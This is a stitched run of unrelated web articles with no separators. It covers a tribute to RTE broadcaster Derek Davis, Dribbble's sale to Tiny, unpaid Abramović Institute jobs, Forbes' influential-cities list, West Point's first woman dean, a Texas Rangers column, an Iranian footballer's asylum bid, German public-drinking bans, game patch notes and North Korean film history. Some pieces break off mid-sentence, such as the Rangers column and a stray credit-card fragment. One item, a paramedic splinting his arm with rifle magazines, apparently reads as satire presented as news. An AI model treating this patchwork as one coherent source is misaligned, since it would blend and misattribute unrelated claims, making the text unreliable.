RTE producer Larry Masterson, who produces The Saturday Night Show, said Derek’s passing was desperately sad news.
“I worked with Derek on a number of programmes over the years.
“We had planned on having him back on the show this weekend to talk about his weight loss.
We got a fantastic response the last time he was on the show,” Mr Masterson said.
“He was a television colossus; people loved watching him. People really genuinely had a great gra for him.
“He suffered a stroke and was taken to Vincents’ and sadly passed away this morning,” he said.
“He was a great raconteur a great storyteller, he had it all, he was terrific.
“He was conscious all his life that he was carrying weight, from the first time I met him 30 years ago.
“He had a weight issue, it in many ways defined his personality. He was always the funny man – get in first with a joke before someone said something cruel.
“He was deeply sensitive that he did have that weight issue.
It defined him to a large extent sadly,” Mr Masterson said.
Derek’s former RTE colleague Pat Kenny today said: “I saw a photo of him recently he looked fantastic after his weight loss. We shall sadly not see his like again.”
Former RTE sports broadcaster Bill O’Herlihy also paid tribute to Derek.
“I didn’t know him very well, but I thought he was an extremely good presenter and an excellent serious newsreader," he said.
“I know that he was a most enthusiastic person. I just saw a picture of him on the paper at the weekend and he looked very thin I thought.”
Friend and colleague Colm Connolly said "he took his work seriously but didn't take himself seriously".
"He was a very intelligent fellow, brilliant at cryptic crosswords and a fantastic doodler. He was brilliant - whichever side if the fence he was on, the comment side or the serious journalism."
Known as a joker in the office, Connolly said that Davis "was never malicious, he was a kindly guy."
"If anything he was the epitome of kindness. When my own son was born prematurely and I was in Cork, he went to visit and support my wife in hospital."
But Connolly revealed that Davis didn't deny that he was the father of the child when maternity staff made that assumption.
"He lived on that story for days."
'A showman, but one of substance and experience' - Friends, fans and colleagues pay tribute to RTE broadcaster Derek Davis
Online EditorsPolice in Corning, New York got a surprise when they pulled over an elderly driver for erratic driving: Her passenger was an injured off-duty paramedic.
Police say the paramedic, Paul Miller, had fallen while working on his home, and sustained a broken arm. He was having his elderly neighbor, Edna Schultz, drive him to the hospital.
When police asked why he didn’t simply call for his own ambulance company to pick him up and take him, Miller stated “I did think of that. However, I looked at the schedule to see who was working today, and frankly thought my chances were better having my half-blind neighbor drive me”
An even bigger surprise was in store for police when they found out what Miller had used to splint his arm with: Two 40 round AR-15 rifle clips taped to his arm. When police asked Miller why he used the assault rifle clips he answered: “First off, they aren’t clips, they are magazines. Clips would never be rigid enough to use as a splint”. “Secondly, it is a semi-automatic sporting rifle. Assault rifles are fully automatic military weapons. I do not own an assault rifle”. Miller went on to state “I looked around to see what I had handy that I could use as a splint, and there were plenty of them nearby, so I used them”
Police verified that the makeshift splint was constructed of pre-ban magazines, and the splint did not contain more than 7 rounds of live ammunition in keeping with New York’s ill-conceived “SAFE Act”.
Police offered to call an ambulance for Miller to take him to the emergency department, but Miller declined. “No thanks, with who is working today, things could really turn out bad for me”.
Police declined to give Mrs. Schultz, a 92 year old widow, any citations for her driving. “She was driving very slowly, no doubt about that” stated the deputy who pulled her over, “But she’s getting the job done.” Police allowed her to continue taking Paramedic Miller to the hospital for treatment.Arcs. Every shot has one. So does every business. Along those lines—well, curves—we’re happy to announce that Dribbble has tweaked its trajectory: we’re now part of Tiny, a new family of companies run by Andrew Wilkinson and Chris Sparling. With MetaLab, Designer News, Flow, and Pixel Union, Andrew and Chris have assembled and grown an impressive portfolio of bootstrapped design companies. By joining forces with Tiny, we hope to augment our ability to serve the design community and move faster along our product parabola.
Like many startups, Dribbble was a happy accident–a company that emerged from a side project by two dads whose idea of a good time was making a website. (We know how to party!) When our initial efforts saw some traction, we decided to step up our game and work full-time on Dribbble toward establishing a business that could sustain our growing design community.
We’ve spent the last 7+ years expanding that community and the business that powers it. To keep up with growth on all fronts, we stretched ourselves into roles we never imagined and found ourselves hiring a small team of 8 strong.
We’ve had ups and downs, joys and failures along the way. And while we’ve been able to provide for our team and keep some profit to boot, we’ve definitely been overwhelmed at times in doing so. Increasing dissonance between “things we want to do” and “resources to do them” led us to thinking about the scale and structure of our operation. We wanted capacity to explore future directions and keep our daily operational efforts from becoming quicksand. It felt like we could use some help.
And yet … we love having a small, tight-knit team and didn’t want to wreck that chemistry. Raising venture capital with the goal of flying to the sun wasn’t a match for our sensibilities, team or community. What did feel right was trying to find a bigger, product-savvy sibling that could provide a boost of human capital, resources, and mentorship.
So we had some conversations. Respect for our community and seamless integration of our remote team were non-negotiable, so the list of viable partners was tiny. To our good fortune, Andrew and Chris, who had expressed interest in Dribbble prior, happened to be in Boston for business. We met for lunch and spent some quality time answering questions and brainstorming about what we could do together.
While we adore remote work, a little face time can do wonders, and we came away from that encounter feeling that these were high-caliber, low-ceremony people with whom we could thrive. After a few weeks of phone calls we came to an agreement to have Tiny acquire Dribbble but allow us to maintain involvement and an ownership stake. We’re not ones for business jargon, but it feels like WIN WIN.
So what does this mean for Dribbble? We hope the change is seamless for our community and customers. Behind the scenes, we’ll have more room to breathe and focus while adding firepower to improve our product, community, and revenue. (As always, we consider ourselves extremely lucky to run the type of operation where these align.) If things go as planned, we hope the most noticeable aspect of this change is that it’s not terribly noticeable at all.
We’re thrilled that Dribbble is now bigger than before. Not much bigger—just a tiny bit. As we add another chapter to the arc of our story, please know that we’re working hard to ensure that it bends toward the goal of a happy, healthy design community that’s profitable for designers. We’re grateful for your support through all these years and remain amazed by your work and passion. We can’t wait to expand our game to better serve you in 2017 and beyond.
Rich Thornett & Dan Cederholm
Co-captains, Team Dribbble
P.S. Check out Andrew’s announcement on Dribbble and Tiny.
Find more Updates stories on our blog Courtside. Have a suggestion? Contact stories@dribbble.com.Good news: the Marina Abramović Institute is hiring! Bad news: all four positions listed in this fresh New York Foundation for the Arts (NYFA) ad are unpaid — ahem, volunteer. They’re probably great “opportunities,” though, right?
Let’s take a look.
1. Administrative Volunteer
Work: “general administrative duties, planning art-based special events, and development.”
“general administrative duties, planning art-based special events, and development.” Skills required: “excellent writing skills, the ability to multi-task, proficiency in Microsoft Word and Microsoft Excel, and prior experience working in a fast-paced arts non-profit or other administrative position.”
“excellent writing skills, the ability to multi-task, proficiency in Microsoft Word and Microsoft Excel, and prior experience working in a fast-paced arts non-profit or other administrative position.” (Nonmonetary, intangible) benefits: “the opportunity to grow within the organization and expand professional networks.”
2. Tech and Production Volunteer
Work: “development and maintenance of IMMATERIAL, MAI’s digital journal.”
“development and maintenance of IMMATERIAL, MAI’s digital journal.” Skills required: Unclear, but they are looking for people “who would like to expand their knowledge of Javascript / JSON / Jquery, HTML5, CSS, Video streaming via Vimeo and/or Youtube Live,” which implies that you should already have some knowledge of these things.
Unclear, but they are looking for people “who would like to expand their knowledge of Javascript / JSON / Jquery, HTML5, CSS, Video streaming via Vimeo and/or Youtube Live,” which implies that you should already have some knowledge of these things. (Nonmonetary, intangible) benefits: “a unique opportunity to hone technology skills on a highly visible, emerging arts platform.”
“a unique opportunity to hone technology skills on a highly visible, emerging arts platform.” Bonus job volunteer position: “We also have volunteer opportunities for assistance with video and audio production, photo editing, and print layout.” Awesome, because I was wondering about that.
3. Special Projects Volunteer
Work: “preparing and working on collaborative in-person and digital projects.”
“preparing and working on collaborative in-person and digital projects.” Skills required: “excellent organization and communication skills, proficiency in Microsoft Office, Adobe Creative Suite and basic HTML / CSS coding, familiarity with non-profit administration, comfort collaborating with partners in and outside of the arts and strong passion for the expanding the role of arts and sciences in various communities”
“excellent organization and communication skills, proficiency in Microsoft Office, Adobe Creative Suite and basic HTML / CSS coding, familiarity with non-profit administration, comfort collaborating with partners in and outside of the arts and strong passion for the expanding the role of arts and sciences in various communities” (Nonmonetary, intangible) benefits: none, but “artists are encouraged to apply”!
4. Research Volunteer
Work: “researching for the content of IMMATERIAL”
“researching for the content of IMMATERIAL” Skills required: “based in New York City and have a college-level background in art history, performance art, and/or performance art studies. Strong writing skills required. Additional background in at least two of the following: the sciences, research assistance, curatorial practice, performing arts, fine arts, photography / video.”
“based in New York City and have a college-level background in art history, performance art, and/or performance art studies. Strong writing skills required. Additional background in at least two of the following: the sciences, research assistance, curatorial practice, performing arts, fine arts, photography / video.” (Nonmonetary, intangible) benefits: none, unless you are “a critical thinker who wants to apply their skills to a large-scale collaborative project” and find that this fits the bill.
All of these positions have at least two-day-a-week commitments — which, amazingly, makes them sound even more like part-time work than they already do.
Abramović raised over $660,000 for her institute on Kickstarter in June and recently “collaborated” with Adidas. Yet somehow she cannot afford to pay people to work for MAI. (In the process she makes Jeff Koons, who boasted on Charlie Rose this week about how many people he employs, look like a saint.) We can only hope that, one day, someone who toils without compensation within the MAI apparatus will grab hold of their social media and give us something as good as this:
Addendum: There have been some great, strong reactions on Twitter to the job posting, including:Britain is a "second-rate power" which has been in decline for a century – yet London remains the most influential city in the world.
Those are the startling findings of a list of the globe's most "necessary" cities, compiled by the business magazine Forbes.
London and New York topped the global list of the world's most influential cities, although largely thanks to history, tradition and "inertia" – they are the most dominant principally because they always have been.
The British capital clinched top spot in part thanks to its position as a global transport hub with a high number of company headquarters, loose regulatory environment and judicial and political systems which have proved a model for the rest of the world.
But Forbes was somewhat damning in its praise, adding that London's status as the world's most influential city was largely a hangover from its past glories.
"Inertia and smart use of it is a key theme that emerged in our evaluation of the top global cities," it said.
"No city better exemplifies this than London, which after more than a century of imperial decline still ranks No. 1 in our survey.
"The United Kingdom may now be a second-rate power, but the City's unparalleled legacy as a global financial capital still underpins its pre-eminence."
Forbes based its city rankings on eight factors, including the level of foreign direct investment, the number of corporate headquarters, the amount of business types it dominates, ease of air travel to other global cities, the strength of financial services, technology and media power, and racial diversity.
Using those factors, Forbes found London and New York held a "hegemony" over the rest of the world, standing far ahead of their nearest rivals, Paris and Tokyo.
Rising stars were named as Singapore, currently in fifth place, Dubai in seventh and San Francisco, which is in equal 10th.
Cities which could leap into the top 10 in future include Soul, currently number 16, Abu Dhabi, now in 20th, and Sao Paulo in 23rd.
Despite being among the world's most populous cities, in countries which are seen as being on the cusp of an economic breakthrough, cities elsewhere in the developing world are considered lacking in influence.
Forbes said: "The Indian megacities Delhi and Mumbai rank in the low 30s along with Johannesburg in South Africa.
"Until these areas can develop adequate infrastructure - from roads, transit and bridges to relatively non-corrupt judicial systems - none can be expected to crack the top 10, or even 20, for at least a decade.
"For the time being, the future of the global city belongs not to the biggest or fastest growing but the most efficient and savvy, and those with a strong historical pedigree. This raises the bar for all cities that wish to break into this elite club."
The world's top 10 most influential cities:
1. London
A history and tradition which cannot be rivalled have left London with all the economic benefits of the City of London, and a language, judiciary and legal system which are models for the rest of the world.
The super-rich have long been comfortable there, and its cultural, media and advertising sectors are dominant.
Spared the regulation and red tape which ties up business in the US and Europe, London's time zones are manageable for business travellers commuting east or west and it has the second best global air connections in the world after Dubai.
London has the most start-up Internet firms in Europe and is host to 68 of the world's top 2,000 companies.
2. New York
Hard on the heels of London, New York only narrowly missed out to its British rival in the Forbes list. The Big Apple is home to most of the world's top investment banks and hedge funds. Its stock market trade levels are 10 times that of London and four times that of Tokyo. It is a global leader in media, advertising and the music industry and dominates in the realms of fashion and luxury. Visitors spend more money in New York than any city in the world thanks, Forbes suggests, to its iconic landmarks.
3. Paris
A distant third, Paris claims its place only thanks to its domination of the still-important French market with virtually all of the country's home-grown companies basing their headquarters there.
4. Singapore
The most influential city in Asia, Singapore has a population of just five million but an infrastructure which is the envy of the world. With a colonial legacy of British governance and law, it has been named as the best place in the world to do business. As a result, it has the highest level of foreign direct investment and is the top location for European companies with an Asia-Pacific HQ.
5. Tokyo
Despite being the world's largest city in terms of gross domestic product, Tokyo has fallen behind Singapore as Asia's most influential, according to Forbes. Like Paris, the magazine said, it gains most of its ranking due to its domination of its own domestic markets. But it will continue to suffer thanks to an ageing population and declining birth rate, a lack of ethnic diversity and stiff competition from regional rivals.
6. Hong Kong
More free than the rest of China, Hong Kong is the largest financial centre in Asia and the third largest in the world. Most of the world's banks, asset managers and insurance companies have Asia-Pacific headquarters there.
7. Dubai
Dubai has put itself the centre of the world thanks to an airport which boasts the largest terminal on the globe which makes it the most well-connected city in terms of air travel.
Coupled with an environment described by Forbes as "business-friendly," it is the destination of choice for companies seeking a Middle East presence.
It is also the most racially-diverse city on the list, with 83 per cent of residents having been born elsewhere.
8. Beijing
As the capital of the emerging economic superpower that is China, Beijing is growing importance all the time. As well as hosting the HQs of most of China's state-owned companies Forbes said it is "home to the country's elite educational institutions and its most innovative companies."
= Sydney
Australia's largest city is dominant in a country that has seen a resources-fuelled boom in the last two decades.
10. San Francisco Bay Area
Has leapt from relatively obscurity to become hugely "necessary" thanks largely to its domination of the tech field. Companies outside the sector are now also seeing San Fran as the place to be, moving their businesses there.
= Los Angeles
No longer the force it was when it sought to rival New York as America's most important city, LA's position is just about secured thanks to Hollywood and its domination of the entertainment industry. It remains the second-largest city in the US, but it is losing influence in business terms, with several major companies departing in recent years, and could soon trail its neighbour San Francisco.
= Toronto
Gains its position as the economic capital of the rich and stable country that is Canada. Nearly half of its population is foreign born.A graduate holds his bars and diploma during the commencement ceremony at the United States Military Academy at West Point, New York, May 28, 2014. REUTERS/Kevin Lamarque
(Reuters) - The United States Military Academy is poised to have its first woman dean in its 216-year history after President Barack Obama nominated to the post a West Point graduate who currently leads the school’s Department of Social Sciences.
Colonel Cindy Jebb, who holds a Ph.D. in political science from Duke University, needs confirmation from the U.S. Senate to take on the post. If approved, she would be promoted to brigadier general and serve as West Point’s dean of the Academic Board, the U.S. Military Academy said in a statement on Friday.
“She’s revered amongst the faculty and cadets and we’re lucky to have her,” West Point superintendent, Lieutenant General Robert Caslen, said in the statement.
The military academy in New York state was founded in 1802 and its graduates typically serve as Army officers. It accepted its first female cadets in 1976.
In January, the academy swore in it first female commandant of cadets.Winning the American League West does not end the Curse of Nolan Ryan, but the division title validates that one person does not need The Express to hold his hand to make a baseball decision.
According to baseball lore, the only way to remove a baseball curse is to win a World Series. This is per Babe Ruth, the Black Sox and a billy goat, among others. Dismiss and make fun of curses all you want, but ask the fans who love the Red Sox and White Sox whether they believe. Or, if you dare, ask a Cubs fan.
Along the same lines of baseball tradition, there is the matter of distributing credit to those in charge of the Texas Rangers, which will certainly include the general manager in this season of validation.
The no-brainer is Jeff Banister, who should be named the American League Manager of the Year. That is going to happen.
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Pitching coach Mike Maddux has not been given nearly enough (any?) credit for the wonderful job he did, particularly at the start of the year when his rotation had Wandy Rodriguez and his staff hammers were Yovani Gallardo and Colby Lewis.
The Rangers are lucky to have a man who, though he may never be in the Dave Duncan strata of pitching coaches, is as good as any at his job.
So many of the moves that bombed in ’14 — the Prince Fielder trade, the signing of Shin-Soo Choo — worked in 2015.
Maddux is the one Ranger not to be poached by another team; it is a matter of time before another club hires him to be its manager. Maddux should not be one of these lifer position coaches. He’s too smart not to be given a chance. He should not be eternally stuck in the “friend zone” of big-league coaches.
Co-owners Ray Davis and Bob Simpson merit commendation for the opening of the wallet, and not salary dumping in July when this team was on the verge of remaining stuck sideways.
They have been all-in, and especially their general manager, and their patience and spending were rewarded with a trophy and an AL West title T-shirt featuring the Dallas skyline.
The division title may never absolve how a certain Texas Rangers icon was kicked out the door, but it does at least validate the decision to give JD the keys to the Ballpark. No matter how passionate of a Nolan guy you are, JD merits recognition for what he did this season.
Pitching coach Mike Maddux has not been given nearly enough credit for the wonderful job he did.
Granted, he had the blessing of employers who dug in on their decision to make him baseball boss No. 1, which comes with it the approval to increase the payroll at every turn. Nonetheless, JD deserves credit for this team’s success.
The GM was justifiably crucified for the horror show that he assembled last season, the first without Nolan.
There was good reason to believe that, without the Nolan Ryan Protection Plan and JD running all things baseball, the Rangers would return to the days of a John Hart train wreck.
JD has had his share of screw-ups, but he deserves the credit for rebuilding a team that has been the single biggest surprise in baseball.
So many of the moves that bombed in ’14 — the Prince Fielder trade, the signing of Shin-Soo Choo — worked in 2015. The decision to keep Delino DeSh |
on some other source and credit card should be the last resort,” Harsh Roongta, CEO of apnapaisa.com, said.
Suresh Sadagopan, who runs Ladder 7 financial advisory services, said the revolving credit was never a good option. “All banks disclose their interest rates and still clients fall for it,” he said. “Banks like ICICI and HDFC disclose what they charge. Banks are charging 42% interest on average, which is extremely high. It is shocking how the RBI lets this happen.”A top-class Iranian footballer has filed for asylum in Switzerland because she faces jail at home for playing without a hijab while wearing shorts and in a match alongside men.
Five-a-side international Shiva Amini, 28, was on a personal holiday in Switzerland in March when the Iranian FA spotted pictures of her wearing shorts while playing in a match with friends.
The veil has been a mandatory dress requirement for women in Iran since the Islamic Revolution in 1979
Shiva Amini has now asked for asylum in Switzerland because she faces jail in Iran for playing football alongside men and without a hijab
Amini is a five-a-side international but Iranian officials spotted pictures of her playing in shorts on social media
She was on holiday in Switzerland when she decided to take part in a kick-about with a group of men
She was dropped and barred from the national side as well as being banned from coaching or playing in league teams.
Amini has now stayed in Switzerland, fearing arrest on her return home and now thinks there is no safe way for her to return to her old life.
'I cannot go back to Iran. I would be arrested at the airport and put in jail,' she said.
An unnamed Swiss asylum centre is now her home and she told the country's media that Iranian have already visited her parents and siblings to try to track down her location.
Amini explained that the problems started when she uploaded images of the friendly match to her social media account.
She talked with some people in the Iranian FA, and although Amini said some people showed understanding, others branded her as a danger to the Islamic Revolution.
The Iranian international dribbling up the left wing during a friendly game in Switzerland
The Iranian authorities have now banned her from playing for the national team
The 28-year-old is now staying at an undisclosed asylum centre in Switzerland but has not told her elderly parents about her plight
Amini said Iranian officials have asked her family where she is and fears she might be arrested after international media highlighted her plight
'Without football and sports my life is meaningless,' said Amini, who told her parents she is in Switzerland to become a sports teacher
As well as being dropped and barred from the national side, she has also been banned from coaching or playing in league teams
Amini said: 'A high-ranking official told me it was obvious that I was working with the opposition and anti-Islamic groups.'
She fears that she became the target of the Iranian government after international media picked up her plight, especially after the US government-funded 'Voice of America' covered her case in a Persian language programme.
Amini said: 'I would not risk it again as I love my family and my country. I had a good life in Iran.'
She said she could not tell her parents the full story because of their advanced age.
Amini said: 'They think that the Swiss government gave me the opportunity to live here as a sports teacher.'
Every day Amini goes out for a run, or in warmer days to play football with fellow asylum seekers.
'They are not very athletic, so not a challenge for me. Without football and sports my life is meaningless.
Amini takes off her veil to speak to an Iranian activist on the decision to ban her from the sport
Speaking out against the decision, the footballer said sport is more important than any veil.
'The hijab should be an unimportant issue for us, the female players,' she said.
'However for the officials of the country, it seems to be a deal-breaker. I received a note from the federation to say not only had I played without a veil, but also I dared to play with boys.
'So I was disqualified and I was removed from the national team. I was told this behaviour would cause me a lot of headaches at home.'
She also hit out at certain individuals who had previously supported her and the team.
She said people were on their side when they were winning medals and matches, but that they had turned their back on her and the squad by not coming out to criticise the decision.
'Silence is betrayal of ourselves,' Amini said.
The athlete talked to Iranian journalist Masig Alinejad, an activist behind My Stealthy Freedom, and said: 'They were not even official games where I had to represent the Islamic Republic.
'The officials of the Iranian Futsal Federation told me, ''When you are a member of an official team, you do not have the right to play without the veil even in non-official games abroad.
'We are living in an Islamic country. Why did you have to play with boys? You would have been disqualified from the team even if you had played with boys wearing a veil in Iran'.'
The Iranian footballer wearing the veil adapted for sport which has to be work according to law
Iranian women's national soccer team walk to the pitch before withdrawing from their qualifying match against Jordan for the 2012 London Olympic Games in Amman on June 3, 2011
In February, two promising chess-playing siblings were banned from tournaments in Iran after the sister failed to wear a hijab and her brother played an Israeli.
Dorsa and Borna Derakhshani, two of the country's leading youth chess players, were told they can no longer be part of the national team.
Dorsa, an 18-year-old student in Spain, was banned after she did not wear a head covering during the Tradewise Gibraltar Chess Festival earlier this year.
Her 15-year-old brother, Borna, who still lives in Iran, was told he couldn't compete after playing a match against Israeli chess player Alexander Husman during the same tournament.
An Iran fan in Germany where her country was competing in the FIFA World Cup 2006
A month later, Iran has banned some of its female competitors from billiard competitions for a year for violating the Islamic codes of conduct at a tournament in China.
The Disciplinary Committee of Bowling, Billiard and Boxing Federation did not reveal the nature of the alleged offences, saying it would name the transgressors later.
'Women sent to China Open (billiard) competitions will be banned from all domestic and foreign competitions for one year for violating the Islamic code,' it said.
Back in 2012, FIFA banned Iranian women from competing in the Olympics, saying headscarves would be a safety issue during games.
It was eventually lifted two years later.
Since the 1979 revolution, Iran has required women to wear the Islamic headscarf in public.
The Islamic code also forbids women touching, dancing or singing with men outside their families.
Women are only allowed to show their face, hands and feet in public and are supposed to wear only modest colours.
Over the years, however, women have pushed back the boundaries of the law, with many wearing loose, brightly coloured headscarves far back on their heads.Grizzled characters clutching bottles on train station benches; groups of guzzling youth on city squares; loose empties rattling around subways: Signs of Germany's liberal public drinking laws are everywhere. Indeed, for many visitors to the country, sipping a beer while walking down the street is almost as exhilarating as a high-speed drive down the autobahn.
Increasingly, though, municipalities are tiring of public drinking -- and the inevitable public drunkenness that results. Numerous movements are afoot to ban the practice. From the country's northeast to the southwest, politicians of all stripes are exploring ways to put the cap back on the bottle.
"We have a problem with alcohol consumption in public places and with people who drink too much and cause disturbances," Reinhold Gall, a state parliamentarian in Baden-Württemberg for the Social Democrats (SPD), told SPIEGEL ONLINE. "Also, there have been complaints from storeowners that nearby drinking and drunkenness chase away customers."
But simply banning public drinking is not quite as easy as it may sound. Municipalities in much of Germany do not have the authority to simply pass a general ban on alcohol in public. In Baden-Württemberg, as elsewhere, the state would have to change laws regulating police authority first -- a process which is underway in the southwestern German state.
Short Lived
"We want to give cities and towns the ability to ban alcohol in certain public places," Peter Hauk, the floor leader for the Christian Democrats in Baden-Württemberg's state parliament, told SPIEGEL ONLINE. Hauk's CDU governs the state in a coalition with the pro-business Free Democrats (FDP), which has yet to grant its approval to the plan.
For many in the state, the rationale behind a banning alcohol in public places isn't just a nuisance issue. Nils Schmid, head of the SPD in the state, has framed it as a crime prevention strategy. In his springtime campaign for a ban, Schmid emphasized that violent crime fell by 16 percent during a ban in the university town of Freiburg.
That regulation, however, was short lived. It was thrown out by a regional court in July 2009, just 18 months after it was introduced. The reason? The ban was too broad, the court found. A ban in the town of Magdeburg was lifted for a similar reason.
Schmid, though, thinks cities need to be able to ban alcohol in certain areas to prevent violence. "A ban on alcohol is not a party-killer," Schmid told critics at the time.
What's Wrong with an After-Work Beer?
That's where some disagree. A debate broke out this spring in Hamburg over an attempt to ban alcohol on public transit within the city after alcohol was thought to have played a part in the murder of a 19-year-old on a commuter train platform. Proponents of a ban in Hamburg pointed to Metronom, a private regional train company that serves the city, which saw crime drop 70 percent shortly after it banned alcohol on its trains in November 2009.
But critics in Hamburg argue that such a ban unfairly targets law-abiding citizens. "Why should we prevent someone who drinks quietly and peacefully from having his after-work beer? Or a group of friends from opening a little champagne as they head out on the town?" Peter Kellermann, the head of the Hamburg transit authority, said during the debate in May.
Kellermann contended that it would be unfeasible to enforce an alcohol ban on its trains. There are too many passengers, too many trains and too few security personnel, he said. As a compromise, the transit authority agreed to assess a 15 fine to any misconduct under the influence of alcohol, launching an ad campaign to discourage irresponsible drinking and training security personnel to deal with drunkards.
'A Public Ban Is Not a Suitable Solution'
Such reluctance to ban public drinking is hardly surprising in Germany. As in other countries in Europe, many see the ability to sip a beer while walking down the street almost as a natural-born right. But alcohol abuse -- particularly youth binge drinking -- has been a topic of national debate in recent years. As has public drunkenness.
"A strategy of prevention would be much more effective as a solution than a ban on alcohol in public," Tilo Berner, spokesman for the Green Party in Baden-Württemberg, told SPIEGEL ONLINE. "Such a law would be problematic from a civil rights perspective. It says that everyone who drinks is a problem."
It is partially out of such concerns that many municipalities have begun exploring other ways to get public drinking -- in particular public drunkenness -- under control. Many of those efforts have been modelled after a program in the northern German city of Kiel.
In 2003, the city established a drinking room for alcoholics. Known as The Sofa, it is a place where drinkers can bring their own beer or wine -- hard liquor is not allowed -- instead of besieging public spaces as before.
'Win-Win Situation'
Several cities have recently shown an interest in emulating the concept, including Berlin, Hamburg, Dortmund and even Freiburg. It's also "much easier to reach" alcoholics, says Christoph Schneider of the Kiel housing office. After seven years of operation, The Sofa has been called a "win-win situation" by the city.
Hamburg's Mitte district hopes to secure funding for it own drinking room this fall. "No other proposal seems to have worked," Kerstin Gröhn, an SPD representative for the district told SPIEGEL ONLINE. "We don't view a public ban as a suitable solution."
Still, alcohol bans are proving popular this year with several local governments set to consider the issue this fall. Like Baden-Württemberg, the eastern German state of Saxony-Anhalt seeks to pass a law this year which would make it legal for municipalities in the state to push through public drinking bans.
Elsewhere in Germany, Aachen on the Belgium border, Potsdam outside of Berlin and Aulendorf, a spa town of about 10,000 residents near Switzerland, are all pushing for bans or have already put them in place.
Drinkers Go Elsewhere
Still, public bans don't always lead to happier citizens. Berlin's Mitte district banned alcohol in parks in 2009 to the relief of many residents. But the park ordinance had undesired consequences. The large drinking scene around Leopoldplatz north of the city center merely moved into the side streets around the park, increasing the imposition on local residents. The district lifted the ban earlier this year.
"The strategy of repression has been attempted for many years," Franz Schulz, the mayor of Berlin's Kreuzberg district, told SPIEGEL ONLINE. "Drinkers just move to other areas."
Schulz's district opened its own isolated public area for drinkers last year, following complaints from residents. This fall, Schulz hopes to secure between 130,000 and 150,000 for a second drinking area that will come complete with a toilet and a stand where alcoholics and addicts can receive counselling.
For Schulz, an alcohol ban is off the table. "Prohibition is not a lasting and peaceful solution," he says. "It requires too many police officers. Anyway, drinkers are citizens too, with the same rights we all have."← Back ← Newer post Older post →
What's new in 0.5.3
April 3rd, 2015
Hearthlands 0.5.3 should be available for download either now or very soon! Savegames from 0.5.2 are compatible with 0.5.3. The changes for this version are: - Invaders now come from the appropriate side of the map, so you may want to protect your city all around. Returning armies also appear on the appropriate side. - Buildings can now be manually shut down (to save workforce and/or resources). Shutdown barracks will not train troops. To shutdown/startup a building you need to left-click it and then click the lock icon. - Invader units now have levels (apparently this was broken). - If someone conquers you, your vassals will no longer break free. - Rulers AI apparently didn't work as intended, so I fixed it and rebalanced. Also their requests now depend more on what you actually produce. - Availability of trade routes now depends more on the opinion. Also vassals will gradually make all their trade routes available for their liege. - Lots of visual fixes and improvements (more tooltips; more clear tooltips; beehives show their radius; pigs, large pigs and piglets look a bit more different etc.). - "window_borders" option added to config.txt. Set it to "no" if you don't want borders in windowed mode. - Battle and request success is a bit more predictable.
In other news: a dragon (WIP)!
(Click to enlarge)
(Click to enlarge)
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1 comment on "What's new in 0.5.3"
simcitycoon.com on April 6th, 2015 at 18:36 said:
Spanish translation: http://simcitycoon.weebly.com/inicio/hearthlands-llega-la-version-053
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← Back ← Newer post Older post →In the history of North Korean cinema, there is one film whose effect on the audience far surpassed the expectations of its creators. This is Hong Gil-dong (1986), a cinematic version of the legendary folklore story about adventures of the Korean Robin Hood. The authorship of Tale of Hong Gil-dong is ascribed to Hô Gyun, a prominent Korean intellectual (1569-1618). Hong Gil-dong, the film based on this tale, can be called a debut for the distinguished North Korean scenario writer Kim Se Ryun. In previous North Korean cinematography, Kim had acquired popularity as a scenarist of light didactic comedies about the minor shortcomings of socialist Korea, such as Hello (Annyeong Haseo, 1979). Hong Gil-dong was the first movie of Kim Se Ryun’s, and was based on historical and folkloristic motifs, and the debut was a definite success. The film is dynamic, entertaining and contained minimal of propaganda messages, and all this has turned Hong Gil-dong into a symbol of the changes North Korean mass culture experienced in the 1980s.
Hong Gil-dong was among the North Korean works of cinematography which – after many long years of abandoning Korean traditional themes and focusing exclusively on the promotion of Kim Il Sung – resorted again to Korean folklore. Yet there was a significant difference in their approach to the classics, which North Korean intellectuals demonstrated in the 1980s and in the earlier period of North Korean culture.
1950-1960s: REWRITTEN CLASSICS
Traditional content in these works was intermingled with strict ideological messages, often to the extent of completely changing the original storylines
In the 1950s-early 1960s, North Korean culture occasionally utilized traditional and folklore motifs.
Among such works was the film The Story of Chunghyang (1959), written by the famous North Korean writer Kim Song Gu, and Han Sôrya’s novel The Fairy of Kumgansan (1961). Traditional content in these works was intermingled with strict ideological messages, often to the extent of completely changing the original storylines.
In his diary written in 1963-1964, North Korean play writer Sô Man Il complained about a modernized opera The Weaver Girl and the Cowherd, which a local theater in Wonsan intended to stage. Sô was asked to participate in the editing of the libretto of the opera and was stunned to find that the proposed new version of the old tale had completely altered the original story about the separated newlyweds, the titular cowherd and weaver girl. In the original, the Lord of Heaven punished the infatuated lovers for their neglect of their work responsibilities, and placed them on opposite sides of the Milky Way. Only once a year, on the seventh day and seventh lunar month, the newlyweds were able to meet due to the mercy of magpies, which would form a bridge for them. Following the conventions of socialist realism, which favored positive endings and the motif of revolt by the heroes against older authorities and exploiters, the political supervisors of the opera tried to force an author of the libretto, Pak Ha Yeon, to make the lovers rebel against the decision of heaven, leave the sky and move to the earth. Otherwise, they claimed, “the story had no educational value.”
Being a devoted communist and a disciplined member of the Writer’s Union, Sô nevertheless expresses his hesitations in the diary: “From an aesthetic and ethical point of view, this is a difficult question. I think it may make sense to return to the original, traditional libretto. The tragic ending does not hinder the major message – longing for freedom, which the shepherd and the weaver had. On the other hand, rewriting classics is not necessarily a bad thing. It makes a classic story more positive and fills it with revolutionary optimism … I do not know. Maybe it is more efficient to influence people’s ideology and feelings with more serious, traditional content?”
Han Sôrya, who in 1960-1961 rewrote the old Korean story Fairy of Kumgansan into a Juche pamphlet, did not have such qualms. In the original version of the tale, a poor woodcutter commits a crime, stealing the wings of a beautiful fairy and thus forcing her to stay on the earth and become his wife. The woodcutter was warned not to show the stolen wings to his wife before she would have given birth to four children. Yet, after the fairy gave birth to their third child, the naïve human relaxed, conceded to her naggings and showed her the wings. The fairy immediately put on the wings and flew back to the sky carrying one child on her back and the other two under her arms. The inconsolable woodcutter stayed on earth.
Han Sôrya conventionally skipped the admonitions of the story, such as “Do not trust women,” “Do not try to cheat fate and jump over the social ladder,” “Do not marry a person far above your social status” and so forth. Instead, he wrote a story of a revolutionary fairy who enthusiastically worked shoulder to shoulder with her peasant husband toward their common goal – “to make the earth as beautiful as a sky land.” The fairy helps her husband plant rice, “the king of grains” (a popular formula of Kim Il Sung’s in the 1960s) and fight the Japanese pirates. The revised story is permeated with the Juche mantras, such as “we are the masters of the universe,” “labor makes a hero” and “we have to rely on our own strengths.”
